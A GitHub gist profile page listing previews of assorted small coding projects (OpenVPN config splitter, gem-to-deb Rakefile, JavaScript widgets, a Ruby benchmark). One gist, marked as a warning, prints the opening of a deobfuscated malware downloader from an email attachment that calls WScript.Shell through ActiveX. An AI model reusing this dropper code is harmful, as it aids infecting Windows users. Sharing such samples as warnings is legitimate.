Skip to content

Instantly share code, notes, and snippets.

View penguinpowernz's full-sized avatar

Robert penguinpowernz

  • Penguin Power
  • Auckland, New Zealand
View GitHub Profile
@penguinpowernz
penguinpowernz / gollum_numberer.js
Created September 1, 2014 20:56
Some javascript to give numbers to headings on a gollum page
function incr_index(index, depth) {
parts = index.split(".");
part = parts[depth - 1];
part = (typeof part == undefined) ? 0 : (part*1)+1;
parts[depth - 1] = part;
for ( var i=depth ; i < parts.length; i++ ) {
parts[i] = 0;
@penguinpowernz
penguinpowernz / README.md
Last active March 8, 2022 20:19
OVPN Splitter

OVPN File Splitter

Have an OpenVPN config file with inline certificates that you need to split up because the Ubuntu team haven't fixed that 2+ year old bug in Network Manger?

You've come to the right place!

This script will split the file out into it's respective certs/keys and output a replacement .ovpn file with cert/key paths.

Usage

"<h2 id=\"wiki-foo\"><a class=\"anchor\" id=\"_xxxx1\" href=\"#_xxxx1\"><i class=\"fa fa-link\"></i></a>xxxx<sup class=\"footnote\" id=\"wiki-fnr1\"><a href=\"#wiki-fn1\">1</a></sup>\n</h2>\n<p class=\"footnote\" id=\"wiki-fn1\"><a href=\"#wiki-fnr1\"><sup>1</sup></a> footnote</p>"
@penguinpowernz
penguinpowernz / Rakefile
Last active August 29, 2015 14:09
Convert a folder of source ruby gems into debs
# When in a folder with ruby gem source folders underneath it, running this will
# build each gem, install it and it's dependencies to a temporary folder and finally
# convert the gems and all it's dependencies into debian packages.
GEM_PREFIX = "/usr/lib/gems/2.1.4"
GEMS = ["redis_alerting", "rackdis"]
namespace :gems do
task :pkg do
@penguinpowernz
penguinpowernz / README.md
Last active April 1, 2019 16:29
Making a Circle Timer with Jquery Circle Progress

Making a Circle Timer with Jquery Circle Progress

I like the jquery-circle-progress plugin but I wanted it to do circle timing because I didn't like any of the other circle timers out there.

Here is what I came up with:

  <html>
    <body>
  
@penguinpowernz
penguinpowernz / README.md
Last active October 25, 2021 16:17
Chunked encoding parser for Javascript

Blow Chunks in your Javascript

So I couldn't find a wrapper library that made dealing with chunked encoding over javascript nice. So I made this. It helps you do long polling in javascript using chunked encoding.

Usage

This will add messages to the div with that class every time a chunk is received:

<html>
@penguinpowernz
penguinpowernz / README.md
Created December 17, 2014 22:08
Random JS exploit

DO NOT RUN THIS CODE

Especially on a Windows machine. I got this in an email as an attached zip. The file inside was a *.doc.js file. Real smooth guys.

The JS in this file was obfuscated, but it generated a function into a string and then eval'd that string. This is the resulting function that would be evaluated:

function dl(fr,fn,rn) {
  var ws = new ActiveXObject("WScript.Shell");
var _faye = require("faye"),
http = require("http")
express = require("express"),
app = express(),
PORT = 8099,
server = http.createServer(app),
bayeux = new _faye.NodeAdapter({mount: '/faye', timeout: 45}),
faye = _faye.Client("http://localhost:"+PORT+"/faye");
bayeux.attach(server);
@penguinpowernz
penguinpowernz / README.md
Created October 5, 2015 22:12
The Hitler as a unit of human death count

The Hitler as a unit of human death count

Adolf Hitler was responsible for the deaths of 11 million people through extermination during the Holocaust. He is often toted as the worst killer in history, with his last name synomous with human deaths. Therefore it is possible that we can use his last name as a standard unit of measurement for human death tolls, and measure other atrocities or war for comparison purposes. Note that this is not in an effort to try to absolve Hitler of his crimes in any way, but rather to provide a comparison of Hilter against other figures and governments throughout history that have committed atrocities of which don't get nearly as much attention as the holocaust.

It is similar to the fictional unit of measurement, Hobo Power, used to determine how foul something smells.

The standard unit

Here, we define 1 Hitler as 11 million dead humans.

@penguinpowernz
penguinpowernz / README.md
Last active April 26, 2023 18:45
Are ruby exceptions still slow when they rescue nothing?

Are ruby exceptions still slow when they rescue nothing?

So I know ruby errors are slow, thats why you don't use rescue for flow control, but what if you just want to provide an extra layer of vigilance just inside that big critical loop? It is going to affect the speed if it doesn't catch anything?

Lets bench it!

require 'benchmark'

def rescue_an_error